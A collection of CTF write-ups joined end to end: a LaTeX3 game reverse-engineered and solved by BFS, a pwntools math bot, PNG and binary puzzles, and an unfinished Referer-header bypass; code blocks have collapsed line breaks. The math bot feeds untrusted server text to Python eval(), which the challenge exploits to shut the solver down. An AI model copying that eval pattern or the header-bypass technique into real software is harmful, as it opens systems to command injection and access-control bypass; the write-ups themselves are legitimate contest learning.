This snippet creates an `other`-category character from a given code point like this: `chr(32 + (71 + x)%96)`.We then created a convert-script ([see solution.zip](https://ik0ri4n.de/blog/2023/04_hxp-ctf-22-tex-based-adventure/solution.zip)) to deobfuscate the code and apply basic formatting to get the interesting challenge code.
## How far can we go with static analysis?
Working in a team is always quicker than working alone.As we didn't find any functional tooling for LaTeX3 code we settled vim with [vimtex](https://github.com/lervag/vimtex) for code highlighting and implemented a simple renaming script ([see solution.zip](https://ik0ri4n.de/blog/2023/04_hxp-ctf-22-tex-based-adventure/solution.zip)) that pulls renames from our HedgeDoc instance.That allowed us to go through the program in parallel and apply renames consistently.(The file `challenge.tex` contains all our renames and I will reference both names for clarity.)It does however lack a way to track renames so we had to copy the original file and reapply all changes if we wanted to adjust a name.We then started to look at it by either tracking their usage or just looking at the most used ones.I will explain my process though since my teammates quickly gave up on the challenge which, in hindsight, sadly did make sense.
When I started working on the challenge we had already finished the deobfuscation step and a bit of analysis that revealed the challenge game included a bunch of anti-tampering checks (complex ones, I was told).Thus, I started helping with static analysis, more specifically by working on understanding what happens at the game start.The last block of the main challenge code defines a new `world`-Environment that takes two parameters, the layout args and the content of the block, and calls the main method with these parameters.The main method of the game then parses this data, initializes its layout args with the given ones, loads the adventure file, prints the loading time and starts the main loop of the event.
We correctly anticipated that the world data would contain some kind of game state or configuration as it would make sense to parse that at startup.The data was separated into blocks with commas, a big first block and then 25 smaller blocks, each of those base64-encoded.The first block is used to initialize a bunch of keys on the global game state dictionary with hex strings of different lengths or integers.Upon startup, only the first of the smaller blocks is parsed.They all contain a block of code that (re-)defines some method and set another batch of game state variables.
I already knew about the game win check so I looked at it again to find out what part of the game state was relevant for it.It compares the variable `EdWG` to the hex-string `000102... 2F30`.The only modification of this variable however was some permutation based on one of six constants and was only called from the method that was defined by the smaller world blocks.It was called like an event hook every time a player placed a key item in a room and loaded the next block.From all that, I could deduce that this was some kind of game-round logic: placing a key applies the corresponding permutation on `EdWG` and loads the new values.
I couldn't quite figure out the constant-initialization process by the method `hxp_bvyZ` though.It uses something based on base 36 numbers but with a ton of nested methods that seemed to contain byte and bit arithmetics and so forth.Thus, I gave up on static analysis and asked how difficult it would be to patch out the anti-tampering checks...
## Dynamics of the game
Now that I asked, I got a pretty solid first guess: "You could try removing the `\stop` from `hxp_die` (originally `hxp_vEUz`)".At least that does work without any problems but I think most anti-tampering checks are pretty simple and allow for adding debug output anyway.Also, just replacing it with an empty method would be best as the change to batch mode will still affect the program.Anyway, I started adding debug output and encrypting the modified code ([see solution.zip](https://ik0ri4n.de/blog/2023/04_hxp-ctf-22-tex-based-adventure/solution.zip)).This was already shortly before the end of the CTF and I knew I would get nowhere near completing the challenge in time.The modified program did of course load for the same, excruciatingly long time but I basically did get all the game constants and initial state for free and also included print statements after variable updates (after each move and round).Having set all this up, I could quickly deduce the basic game logic.
The main game logic is implemented in `hxp_gameInputLoop` (originally `hxp_tASb`).First, the game checks for the winning state as mentioned above and stops with outputting the win Pdf then.Otherwise, it first checks the enemy map `qwsI` (entries with room, direction and id) and ends with the death of the player upon encounter.Then, it outputs noises from some direction for one to three close enemies and from all directions if there are enemies in all four adjacent rooms.Afterward, it handles items and lock rooms.First, it uses the item map `NHmX` (position and id) to output all key items in the current room.Then, the game prints the carried items from the map `rzVB`.Finally, it looks up the room in the lock map `vpAZ` (position, corresponding key and id) offers the player to place the key if available.The ids are used to load the names from the list `VljH`, by the way.After completing all these information steps, the game handles player input for that step.The normal moves permit moving forward and turning left, right and around.Also, you could always give up to end the game directly.If available, the player can also pick up an item or place it as a key instead of moving.The second action, as already mentioned, starts the next of 25 rounds.Finally, the game handles enemy movement.Basically, it moves all enemies in their direction (or leaves them where they are for direction `00`) except for enemies that would cross the player in the doorway.In that case, the enemy just awaits the player in their room on the next turn.
This loop game runs 450 times and warns five rounds before the ceiling breaks in with the text "The ground shakes. Cracks appear in the walls.".So we already need to be pretty quick to pick up the required to finish.To get a better feel of the game (and because I had some free time) I wrote a small visualizer for the game.Of course, that required the movement code of the game.All in all, it is pretty straightforward (but still not easy to read):
- The variable `EdWG` maps an index to the current position of the room- There are 6 additional, stationary rooms- Moving uses three axes, in total implemented in 6 maps of adjacent rooms (pairs for forward and backward)- Turning left and right changes the axis according to two other maps- Turning around flips the last direction bit
The three axes already hint at the structure of the map: a three-by-three cube.In fact, they represent a Rubik's cube where the permutations after each round are solving steps turning the cube.(I often forget to search stuff like those permutation numbers but at least that information isn't vital for solving the challenge.)We have to load the new variables after each round and possibly turn the player if its field turns for a full simulation.Having understood all this, we can play the game and start looking for the actual solution.
## Solving the maze
I will explain my solution in a bit more detail than the author but I did finally look at their writeup before writing my solve scripts to avoid unnecessary delays.Having already spent many hours on this challenge, I believe this was the correct decision.So, how do we write a solution for this game challenge?
Looking at the game win check again, we will see that it uses the content of the variable `kyHu` when calculating the Pdf output.According to the author, they decrypt the Pdf here and from analyzing the usages of `kyHu` we can see it stores the actions of the player.Now, the only hint we have is the action limit but we can imagine the author wants the smallest possible sequence.
But first, how do we solve the Rubik's cube with the permutations provided?In theory, there are multiple solutions to do this.The author sneakily put enemies at all the positions of lock rooms but one in the next round though and we would notice that if we'd choose the wrong one.However, the correct room is always the first so the odds are pretty high that you would choose the correct one anyway.
I then wrote a small script to calculate the required keys and when we need to pick them up.It turns out we will have to pick up a lot more keys in the first few rounds since they aren't available later.So you have to watch out to not deadlock yourself once you have the solution idea by solving the game round by round.
```pyimport game
SOLUTION = []SOLUTION_KEYS = []
for i, r in enumerate(game.ROUNDS): if i == len(game.ROUNDS)-1: break
rooms = [] for l in r.lock_rooms: rooms.append(l[0:2])
for e in game.ROUNDS[i+1].encounters: blocked = e[0:2] if blocked in rooms: rooms.remove(blocked)
if len(rooms) > 1: exit(1)
SOLUTION.append(rooms[0]) for l in r.lock_rooms: if l[0:2] == rooms[0]: SOLUTION_KEYS.append(l[2:4])
SOLUTION.append(game.ROUNDS[-1].lock_rooms[0][0:2])SOLUTION_KEYS.append(game.ROUNDS[-1].lock_rooms[0][2:4])
def check_keys(available_keys: dict[str, int], chain: list[str], encounters: list[str], key_items: list[str], lock_rooms: list[str], lock: str): for e in encounters: if e[2:4] == "00": blocked = e[0:2] for k in key_items: if k[0:2] == blocked: key_items.remove(k) for l in lock_rooms: if l[0:2] == blocked: lock_rooms.remove(l) gathered = [] for k in key_items: key = k[2:4]
if key not in chain: continue
gathered.append(key) if key in available_keys: available_keys[key] += 1 else: available_keys[key] = 1
available_keys[lock] -= 1
return (available_keys, gathered)
available_keys = {}gathered = {}count = 0for i in range(len(SOLUTION_KEYS)): r = game.ROUNDS[i] lock = SOLUTION_KEYS[i]
(available_keys, g) = check_keys(available_keys, SOLUTION_KEYS[i:], r.encounters, r.key_rooms, r.lock_rooms, lock)
if available_keys[lock] < 0: print("Not usable!") break
if len(g) > 0: count += len(g) gathered[i] = g
print(SOLUTION)print(SOLUTION_KEYS)print(gathered)```
Now, to get the shortest path for each round we can implement a quick BFS just as the author suggests.We need to include our position the enemy movement (I stored the step count modulo 12 for this and checked before adding a move) and the items we picked up.In python, I had to encode this state as a string (you could use any hashable type though) to be able to reconstruct the path afterward.Then, we can output all the required inputs for this path and run the game with those inputs.I had to close my script though because the game wouldn't otherwise.So I entered the container first and extracted the result Pdf after closing my program.
```pyimport gamefrom collections import namedtuple
goal_rooms = ['33', '0A', '1C', '18', '07', '22', '13', '17', '2C', '2B', '2A', '13', '0F', '16', '01', '0C', '32', '09', '19', '1B', '03', '2D', '15', '1C', '06']room_keys = ['3A', '4D', '52', '5C', '3F', '5D', '70', '70', '77', '56', '5D', '79', '77', '79', '74', '85', '5D', '8B', '56', '85', '8D', '5C', '77', '85', '80']pickup = {0: ['3A', '3F'], 1: ['4D', '52', '56'], 2: ['5C', '5D'], 5: ['70', '74'], 6: ['77', '79'], 7: ['70'], 8: [ '80'], 9: ['5D', '77', '5C'], 11: ['85'], 12: ['79'], 14: ['56'], 15: ['5D', '77'], 16: ['8B', '85'], 20: ['8D'], 23: ['85']}
OFFSET = 0x37item_names = "yellow mushroom,purple mushroom,blue mushroom,red mushroom,red key,purple gemstone,yellow gemstone,blue gemstone,mysterious ring,green mushroom,red potion,yellow potion,purple potion,blue potion,red lock,{a worm-like creature}{is swimming in a pool of blood}{savaged}{it,{a purple monkey}{looks evil}{killed}{he,{a giant lobster}{looks angry}{cut in half}{it,{a mind flayer}{slowly consumes your brain}{killed}{it,{a grue}{looks hungry}{eaten}{it,{a gelatinous cube}{looks like it contains the remnants of previous adventurers}{consumed}{it,{[ REDACTED ]}{looks angry at you for reversing its banking app}{jailed}{it,spell book,red orb,yellow flower,blue orb,golden ring,purple flower,green herb,red herb,yellow herb,dead bat,purple key,book case,red rune,blue rune,{Clippy}{is out for revenge}{pierced}{he,blue key,green gemstone,silver coin,red flower,purple lock,collection box,green potion,{Bing Sidney}{finally escaped her jail at Microsoft HQ and is out for revenge}{wiped from existence}{she,{the mighty Bober}{has big teeth}{eaten}{it,yellow orb,green key,brass key,blue lock,extension cord,red gemstone,lava smelter,power outlet,yellow rune,green lock,mystery potion,wooden key,[Object object],purple herb,green flower,human skull,brass chest,bubbling cauldron,yellow key,green orb,copper coin,vial of acid,wooden chest,blue herb,iron key,silver ring,glowing rock,stego challenge,yellow lock,green rune,amulet,signup form,dead lizard,cursed mechanism,animal bone,purple orb,shallow grave,iron chest,blue flower,purple rune,scam,blockchain,trash can".split( ',')
# order of neighbors could affect searchdef generate_graph(): graph = {} for node in range(0, 0x36): graph[node] = []
for node in range(0, 0x36): for dir in range(2, 8, 2): neighbor = game.move(node, dir) if neighbor != -1: graph[node].append(neighbor) graph[neighbor].append(node)
return graph
SearchNode = namedtuple("SearchNode", "pos round keys")
def no_enemies(next: int, last: int, game: game.Game): if game.encounters_at_pos[next] > 0: return False
for e in game.encounters_map[last]: if e.last_pos == next: return False
return True
def to_string(node: SearchNode) -> str: out = hex(node.pos)[2:].upper().rjust(2, '0') out += hex(node.round)[2:].upper().rjust(2, '0') out += "|".join(['1' if b else '0' for b in node.keys]) return out
def get_path(start: int, sink: SearchNode, from_node: dict[str, SearchNode]): path = [sink.pos]
curr = sink while to_string(curr) in from_node: path.append(from_node[to_string(curr)].pos) curr = from_node[to_string(curr)]
path.reverse() return path
def bfs(graph: dict[int, list[int]], start: int, sink: int, g: game.Game, key_rooms: list[int]): visited: list[SearchNode] = [] roundQueue: list[SearchNode] = [] nextQueue: list[SearchNode] = [] from_node: dict[str, SearchNode] = {} visited.append(SearchNode(start, 0, [False]*len(key_rooms))) roundQueue.append(SearchNode(start, 0, [False]*len(key_rooms)))
g.step(0, 0) round = 1 while True: while roundQueue: m = roundQueue.pop(0)
for neighbor in graph[m.pos]: next = SearchNode(neighbor, round, m.keys) if next not in visited and no_enemies(next.pos, m.pos, g): visited.append(next) nextQueue.append(next) from_node[to_string(next)] = m if next.pos == sink and all(next.keys): return get_path(start, next, from_node)
if m.pos in key_rooms and not m.keys[key_rooms.index(m.pos)]: new_keys = m.keys.copy() new_keys[key_rooms.index(m.pos)] = True next = SearchNode(m.pos, round, new_keys) if next not in visited and no_enemies(next.pos, m.pos, g): visited.append(next) nextQueue.append(next) from_node[to_string(next)] = m if next.pos == sink and all(next.keys): return get_path(start, next, from_node)
roundQueue = nextQueue
if len(nextQueue) == 0: print("Failed to find path!") exit(1) nextQueue = [] g.step(0, 0) round = (round + 1) % 12
POS = 0x25DIR = 6
ACTION_COUNT = 0
start = POS-1dir = DIRg = game.Game()
res = game.MAPfor i, k in enumerate(room_keys): res = game.apply_permutation(game.ROUNDS[i].key_to_perm[k], res)
assert res == [hex(i+1)[2:].upper().rjust(2, '0') for i in range(0x36)]
for ROUND in range(25): graph = generate_graph() map = [int(x, 16) for x in game.MAP] end = int(goal_rooms[ROUND], 16)-1
keys = [] key_len = 0 if ROUND in pickup: key_len = len(pickup[ROUND]) for r in game.ROUNDS[ROUND].key_rooms: if r[2:4] in pickup[ROUND]: keys.append(int(r[0:2], 16) - 1)
if len(keys) != len(pickup[ROUND]): print("Oh no, double items?") exit(1)
path = bfs(graph, start, end, g, keys) ACTION_COUNT += len(path)-1
room_to_id = {} for r in game.ROUNDS[ROUND].key_rooms: if ROUND in pickup and r[2:4] in pickup[ROUND]: if int(r[0:2], 16) in room_to_id: print("Multiple keys to pickup in one room") exit(1) room_to_id[int(r[0:2], 16)-1] = int(r[2:4], 16)
actions = "" for i in range(len(path)-1): pos = path[i] next = path[i+1]
if pos == next: actions += "pick up " + item_names[room_to_id[pos] - OFFSET] + '\n' continue if game.move(pos, dir) == next: actions += "go forward" + '\n' continue if game.move(pos, game.turnLeft(pos, dir)) == next: actions += "turn left" + '\n' dir = game.turnLeft(pos, dir) continue if game.move(pos, game.turnRight(pos, dir)) == next: actions += "turn right" + '\n' dir = game.turnRight(pos, dir) continue if game.move(pos, game.turnAround(dir)) == next: actions += "turn around" + '\n' dir = game.turnAround(dir) continue
print("Prog error") print(hex(pos+1), dir, path) print(graph) exit(1)
actions += "place " + item_names[int(room_keys[ROUND], 16) - OFFSET] + '\n' actions += room_keys[ROUND] + '\n' with open(f"real/move{ROUND}.txt", "w") as file: file.write(actions)
print("Round:", ROUND, ", Actions:", ACTION_COUNT, [hex(i+1) for i in path])
start = path[-1]
old = game.MAP
g.end_round(room_keys[ROUND])
if ROUND < 24: dir = g.fixDirection(start, dir, room_keys[ROUND])
print("All done!")
```
All done, we have the output including a log of the game that finally contains the rewarding lines: "You see sunlight through a crack in the walls. You are finally free. Please wait for your reward!".After all this effort to get here, it is actually quite fitting that our last action before is simply "place stego challenge" (in the bin, that is).
## Final remarks
Where flag? You surely noticed that I didn't mention it above.This is, sadly, because my solution does not get the flag but only a randomly colored image...I am not sure that this is my fault, however, since there are actually multiple shortest paths through the maze.Take the first round for example: it contains two items to pick up in adjacent rooms and we could do that in either order without changing the length of our solution.So it is probably for the better that no team seemed to come close to solving this challenge.It would have been a big drama to notice this problem after hours of work and stress ¯\_(ツ)\_/¯.
In theory, my solver might produce different results both for different graph generations and depending on the prioritization of items or movement.I did not want to try finding the author's solution by chance though since they didn't provide their sequence in their writeup.
I liked playing this challenge despite its problems and even though it annoyed me every once in a while at the same time.Was it really a good idea to put it in a CTF?I am probably not the best to judge that since other teams have come a lot closer to actually solving the challenge in time.However, I still believe it was just too big of a challenge and it sadly lacked a bit of testing.Anyway, I am glad the author took the (probably also enormous amount of) time to write this interesting challenge and force us to learn some LaTeX3. |
# Math Trap
## Background
In this challenge, you have to make a few simple calculations for me, but pretty quickely. Maybe the pwntools python library will help you ? PS: control your inputs. Host : **nc static-01.heroctf.fr 8000** Format : **Hero{flag}** Author : **Log_s**
## Find the flag
**In this challenge, we can `nc` into the instance machine:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Prog/Math-Trap)-[2023.05.13|16:49:53(HKT)]└> nc static-01.heroctf.fr 8000Can you calculate these for me ?
70 // 98=0Too slow```
In here, we need to calculate some math equations.
**To automate that, we can write a Python script:**```py#!/usr/bin/env python3from pwn import *
def solveTheFirstEquation(r): # Can you calculate these for me ?\n\n r.recvuntil(b'?\n\n') solveEquation(r) r.recvuntil(b'\n')
def solveEquation(r): # 78 * 72 equation = r.recvline().decode() answer = str(eval(equation)).encode('utf-8') r.sendlineafter(b'=', answer)
if __name__ == '__main__': context.log_level = 'debug' HOST = 'static-01.heroctf.fr' PORT = 8000 r = remote(HOST, PORT)
for i in range(500): if i == 0: solveTheFirstEquation(r) else: solveEquation(r) print(r.recvline())```
```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Prog/Math-Trap)-[2023.05.13|17:21:56(HKT)]└> python3 solve.py [+] Opening connection to static-01.heroctf.fr on port 8000: Done[DEBUG] Received 0x2b bytes: b'Can you calculate these for me ?\n' b'\n' b'51 - 53\n' b'='[DEBUG] Sent 0x3 bytes: b'-2\n'[DEBUG] Received 0xb bytes: b'\n' b'44 - 100\n' b'='[DEBUG] Sent 0x4 bytes: b'-56\n'[DEBUG] Received 0x9 bytes: b'\n' b'8 * 58\n' b'='b'\n'[DEBUG] Sent 0x4 bytes: b'464\n'[DEBUG] Received 0xa bytes: b'\n' b'36 - 29\n' b'='b'\n'[DEBUG] Sent 0x2 bytes: b'7\n'[...]```
However, when I saw the flag, it shuts down my VM :(
**Then, I fired up OBS to record and catch the flag:**

Nice troll in the `shutdown` command lmao :D (This is because the evil equation was parsed to `eval()`)
- **Flag: `Hero{E4sy_ch4ll3ng3_bu7_tr4pp3d}`**
## Conclusion
What we've learned:
1. Using Python To Solve Math Problems |
# PNG-G
## Background
Don't let appearances fool you. Good luck! Format : **Hero{}** Author : **Thibz**

## Find the flag
**In this challenge, we can download a [file](https://github.com/siunam321/CTF-Writeups/blob/main/HeroCTF-v5/Steganography/PNG-G/pngg.png):**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Steganography/PNG-G)-[2023.05.14|14:43:24(HKT)]└> file pngg.png pngg.png: PNG image data, 500 x 500, 8-bit/color RGB, non-interlaced┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Steganography/PNG-G)-[2023.05.14|14:43:27(HKT)]└> eog pngg.png
```

It's a PNG image file.
**According to [HackTricks](https://book.hacktricks.xyz/crypto-and-stego/stego-tricks#stegoveritas-jpg-png-gif-tiff-bmp), we can use a tool called `stegoveritas.py`, which checks file metadata, create transformed images, brute force LSB, and more.check file metadata, create transformed images, brute force LSB, and more.**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Steganography/PNG-G)-[2023.05.14|14:40:20(HKT)]└> stegoveritas pngg.png Running Module: SVImage+---------------------------+------+| Image Format | Mode |+---------------------------+------+| Portable network graphics | RGB |+---------------------------+------+Found something worth keeping!DOS executable (COM), maybe with interrupt 22h, start instruction 0xeb33eb11 77c93fedFound something worth keeping!DOS executable (COM), start instruction 0xeb678fb5 c13af9f8Found something worth keeping!DOS executable (COM), start instruction 0xeb2cf23e 8ae61385Found something worth keeping!DOS executable (COM), start instruction 0xeb2f9e5c fa2d7341Found something worth keeping!DOS executable (COM), start instruction 0xeb2f33cb c3e8bab9Found something worth keeping!DOS executable (COM), maybe with interrupt 22h, start instruction 0xeb2f3e79 79cfa2efFound something worth keeping!DOS executable (COM), start instruction 0xeb2f38cf 2f383e8bExtracting 2 PNG frames.Running Module: MultiHandler
Exif====+---------------------+----------------------------------------------------------+| key | value |+---------------------+----------------------------------------------------------+| SourceFile | /home/siunam/ctf/HeroCTF-v5/Steganography/PNG-G/pngg.png || ExifToolVersion | 12.57 || FileName | pngg.png || Directory | /home/siunam/ctf/HeroCTF-v5/Steganography/PNG-G || FileSize | 512 kB || FileModifyDate | 2023:05:13 16:24:16+08:00 || FileAccessDate | 2023:05:13 16:24:36+08:00 || FileInodeChangeDate | 2023:05:13 16:24:35+08:00 || FilePermissions | -rw-r--r-- || FileType | APNG || FileTypeExtension | png || MIMEType | image/apng || ImageWidth | 500 || ImageHeight | 500 || BitDepth | 8 || ColorType | RGB || Compression | Deflate/Inflate || Filter | Adaptive || Interlace | Noninterlaced || AnimationFrames | 2 || AnimationPlays | inf || Transparency | 0 0 16 || ImageSize | 500x500 || Megapixels | 0.25 |+---------------------+----------------------------------------------------------+Found something worth keeping!PNG image data, 500 x 500, 8-bit/color RGB, non-interlaced+---------+------------------+----------------------------------------+------------+| Offset | Carved/Extracted | Description | File Name |+---------+------------------+----------------------------------------+------------+| 0x75 | Carved | Zlib compressed data, best compression | 75.zlib || 0x75 | Extracted | Zlib compressed data, best compression | 75 || 0x7c377 | Carved | Zlib compressed data, best compression | 7C377.zlib || 0x7c377 | Extracted | Zlib compressed data, best compression | 7C377 |+---------+------------------+----------------------------------------+------------+```
**After the check, we can view it's extracted contents:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Steganography/PNG-G)-[2023.05.14|14:43:44(HKT)]└> ls -lah results total 12Mdrwxr-xr-x 4 siunam nam 4.0K May 14 14:40 .drwxr-xr-x 3 siunam nam 4.0K May 14 14:40 ..drwxr-xr-x 2 siunam nam 4.0K May 14 14:40 exifdrwxr-xr-x 2 siunam nam 4.0K May 14 14:40 keepers-rw-r--r-- 1 siunam nam 527K May 14 14:40 pngg.png_autocontrast.png-rw-r--r-- 1 siunam nam 51K May 14 14:40 pngg.png_Blue_0.png-rw-r--r-- 1 siunam nam 52K May 14 14:40 pngg.png_Blue_1.png-rw-r--r-- 1 siunam nam 52K May 14 14:40 pngg.png_Blue_2.png-rw-r--r-- 1 siunam nam 52K May 14 14:40 pngg.png_Blue_3.png-rw-r--r-- 1 siunam nam 51K May 14 14:40 pngg.png_Blue_4.png-rw-r--r-- 1 siunam nam 45K May 14 14:40 pngg.png_Blue_5.png-rw-r--r-- 1 siunam nam 31K May 14 14:40 pngg.png_Blue_6.png-rw-r--r-- 1 siunam nam 13K May 14 14:40 pngg.png_Blue_7.png-rw-r--r-- 1 siunam nam 248K May 14 14:40 pngg.png_blue_plane.png-rw-r--r-- 1 siunam nam 599K May 14 14:40 pngg.png_Edge-enhance_More.png-rw-r--r-- 1 siunam nam 677K May 14 14:40 pngg.png_Edge-enhance.png-rw-r--r-- 1 siunam nam 261K May 14 14:40 pngg.png_enhance_sharpness_-100.png-rw-r--r-- 1 siunam nam 252K May 14 14:40 pngg.png_enhance_sharpness_100.png-rw-r--r-- 1 siunam nam 517K May 14 14:40 pngg.png_enhance_sharpness_-25.png-rw-r--r-- 1 siunam nam 472K May 14 14:40 pngg.png_enhance_sharpness_25.png-rw-r--r-- 1 siunam nam 369K May 14 14:40 pngg.png_enhance_sharpness_-50.png-rw-r--r-- 1 siunam nam 347K May 14 14:40 pngg.png_enhance_sharpness_50.png-rw-r--r-- 1 siunam nam 299K May 14 14:40 pngg.png_enhance_sharpness_-75.png-rw-r--r-- 1 siunam nam 285K May 14 14:40 pngg.png_enhance_sharpness_75.png-rw-r--r-- 1 siunam nam 580K May 14 14:40 pngg.png_equalize.png-rw-r--r-- 1 siunam nam 419K May 14 14:40 pngg.png_Find_Edges.png-rw-r--r-- 1 siunam nam 497K May 14 14:40 pngg.png_frame_0.png-rw-r--r-- 1 siunam nam 3.5K May 14 14:40 pngg.png_frame_1.png-rw-r--r-- 1 siunam nam 274K May 14 14:40 pngg.png_GaussianBlur.png-rw-r--r-- 1 siunam nam 182K May 14 14:40 pngg.png_grayscale.png-rw-r--r-- 1 siunam nam 54K May 14 14:40 pngg.png_Green_0.png-rw-r--r-- 1 siunam nam 54K May 14 14:40 pngg.png_Green_1.png-rw-r--r-- 1 siunam nam 54K May 14 14:40 pngg.png_Green_2.png-rw-r--r-- 1 siunam nam 54K May 14 14:40 pngg.png_Green_3.png-rw-r--r-- 1 siunam nam 53K May 14 14:40 pngg.png_Green_4.png-rw-r--r-- 1 siunam nam 48K May 14 14:40 pngg.png_Green_5.png-rw-r--r-- 1 siunam nam 36K May 14 14:40 pngg.png_Green_6.png-rw-r--r-- 1 siunam nam 21K May 14 14:40 pngg.png_Green_7.png-rw-r--r-- 1 siunam nam 250K May 14 14:40 pngg.png_green_plane.png-rw-r--r-- 1 siunam nam 527K May 14 14:40 pngg.png_inverted.png-rw-r--r-- 1 siunam nam 316K May 14 14:40 pngg.png_Max.png-rw-r--r-- 1 siunam nam 417K May 14 14:40 pngg.png_Median.png-rw-r--r-- 1 siunam nam 305K May 14 14:40 pngg.png_Min.png-rw-r--r-- 1 siunam nam 531K May 14 14:40 pngg.png_Mode.png-rw-r--r-- 1 siunam nam 54K May 14 14:40 pngg.png_Red_0.png-rw-r--r-- 1 siunam nam 54K May 14 14:40 pngg.png_Red_1.png-rw-r--r-- 1 siunam nam 55K May 14 14:40 pngg.png_Red_2.png-rw-r--r-- 1 siunam nam 55K May 14 14:40 pngg.png_Red_3.png-rw-r--r-- 1 siunam nam 55K May 14 14:40 pngg.png_Red_4.png-rw-r--r-- 1 siunam nam 49K May 14 14:40 pngg.png_Red_5.png-rw-r--r-- 1 siunam nam 38K May 14 14:40 pngg.png_Red_6.png-rw-r--r-- 1 siunam nam 22K May 14 14:40 pngg.png_Red_7.png-rw-r--r-- 1 siunam nam 250K May 14 14:40 pngg.png_red_plane.png-rw-r--r-- 1 siunam nam 621K May 14 14:40 pngg.png_Sharpen.png-rw-r--r-- 1 siunam nam 439K May 14 14:40 pngg.png_Smooth.png-rw-r--r-- 1 siunam nam 523K May 14 14:40 pngg.png_solarized.png```
**In `result/pngg.png_frame_1.png`, we can see the flag:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Steganography/PNG-G)-[2023.05.14|14:45:39(HKT)]└> eog results/pngg.png_frame_1.png
```

- **Flag: `Hero{Not_Just_A_PNG}`**
## Conclusion
What we've learned:
1. Extracting Hidden Frames In PNG |
# C Stands For C
## Find the flag
**In this challenge, we can download a [file](https://github.com/siunam321/CTF-Writeups/blob/main/PwnMe-2023-8-bits/Reverse/C-Stands-For-C/c_stands_for_c):**```shell┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Reverse/C-Stands-For-C)-[2023.05.06|14:10:26(HKT)]└> file c_stands_for_c c_stands_for_c: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6e85bb68ae41114c0b985f48263414ae9c715507, for GNU/Linux 3.2.0, not stripped┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Reverse/C-Stands-For-C)-[2023.05.06|14:10:28(HKT)]└> chmod +x c_stands_for_c```
It's an ELF 64-bit executable, and it's not stripped.
**We can try to run that executable:**```shell┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Reverse/C-Stands-For-C)-[2023.05.06|14:10:30(HKT)]└> ./c_stands_for_c Hi, please provide the password:idkWho are you? What is your purpose here?```
That being said, we need to find the correct password.
**To do so, I'll use `strings` command in Linux to list out all the strings inside that binary:**```shell┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Reverse/C-Stands-For-C)-[2023.05.06|14:11:52(HKT)]└> strings c_stands_for_c[...]Hi, please provide the password:JQHGY{Qbs_x1x_S0o_f00E_b3l3???y65zx03}Welcome to the shop.Who are you? What is your purpose here?[...]```
Right off the bat, we see a string that looks like a flag. However, it's being rotated.
**We can use [CyberChef](https://gchq.github.io/CyberChef/) to rotate it back:**

- **Flag: `PWNME{Why_d1d_Y0u_l00K_h3r3???e65fd03}`**
## Conclusion
What we've learned:
1. Using `strings` To Display Strings In A File & Rotating Rotated String |
After downloading the attachment, the 010 Editor found that it was a compressed package. After changing it to. zip, it can indeed be decompressed. After decompressing, there is also a rock. lock and a txt file, so it is speculated to be a cyclic decompression. Simply scan the directory first, rename the. lock file to. zip file, and then extract the. lock file from the extracted folder and place it in the original directory and delete the previously renamed rock. zip file, After repeating 491 times, an error will be reported and it will be found that there is a rock. zip file that is not a compressed package. You can use the 010 Editor to obtain the flag```import osimport shutilimport time
def scan_file(): for f in os.listdir(): #Since this is the current path, it is necessary to place this code file in the same folder as the file you want to process if f.endswith('.rock'): return f
def unzip_it(f,i): folder_name = f.split('.')[0]+str(i) target_path = os.path.join('.',folder_name) os.makedirs(target_path) shutil.unpack_archive(f,target_path)
def delete(f): os.remove(f)
if name == '__main__': i = 1 while True: zip_file = scan_file() # print(zip_file) if zip_file: os.rename(zip_file,'rock.zip') unzip_it('rock.zip',i) delete('rock.zip') os.rename('E:\\test\\rock'+str(i)+'\\rock.rock','E:\\test\\rock.rock') i += 1``` |
# Referrrrer
## Background
Defeated the security of the website which implements authentication based on the [Referer](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer) header. URL : **[http://static-01.heroctf.fr:7000](http://static-01.heroctf.fr:7000)** Format : **Hero{flag}** Author : **xanhacks**

## Enumeration
**Home page:**

Seems empty??
**In this challenge, we can download a [file](https://github.com/siunam321/CTF-Writeups/blob/main/HeroCTF-v5/Web/Referrrrer/Referrrrer.zip):**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Web/Referrrrer)-[2023.05.13|13:58:02(HKT)]└> file Referrrrer.zip Referrrrer.zip: Zip archive data, at least v1.0 to extract, compression method=store┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Web/Referrrrer)-[2023.05.13|13:58:03(HKT)]└> unzip Referrrrer.zip Archive: Referrrrer.zip creating: app/ inflating: app/package.json inflating: app/index.js inflating: app/package-lock.json inflating: app/Dockerfile inflating: docker-compose.yml creating: nginx/ inflating: nginx/nginx.conf```
**In `app/index.js`, we see this:**```jsconst express = require("express")const app = express()
app.get("/", (req, res) => { res.send("Hello World!");})
app.get("/admin", (req, res) => { if (req.header("referer") === "YOU_SHOUD_NOT_PASS!") { return res.send(process.env.FLAG); }
res.send("Wrong header!");})
app.listen(3000, () => { console.log("App listening on port 3000");})```
When we send a GET request to `/admin`, **if the request header `Referer` is strictly equal to `YOU_SHOUD_NOT_PASS!`, it'll response us with the flag.**
With that said, we have to some how pass the header check...
**In `nginx/nginx.conf`, we can see there's a rule for location `/admin`:**```conf[...]server { listen 80; server_name example.com;
location / { proxy_pass http://express_app; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; }
location /admin { if ($http_referer !~* "^https://admin\.internal\.com") { return 403; }
proxy_pass http://express_app; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; }}[...]```
**If the `Referer` header is equal to `https://admin.internal.com`**, it'll let us pass go to `/admin`.
So... We need to provide `Referer` header with 2 value: `https://admin.internal.com` **AND** `YOU_SHOUD_NOT_PASS!`?
**However, I tried to include 2 `Referer` header in the `/admin` request:**

But it doesn't work, because it only checks the first `Referer` header and ignoring the second one.
## Exploitation
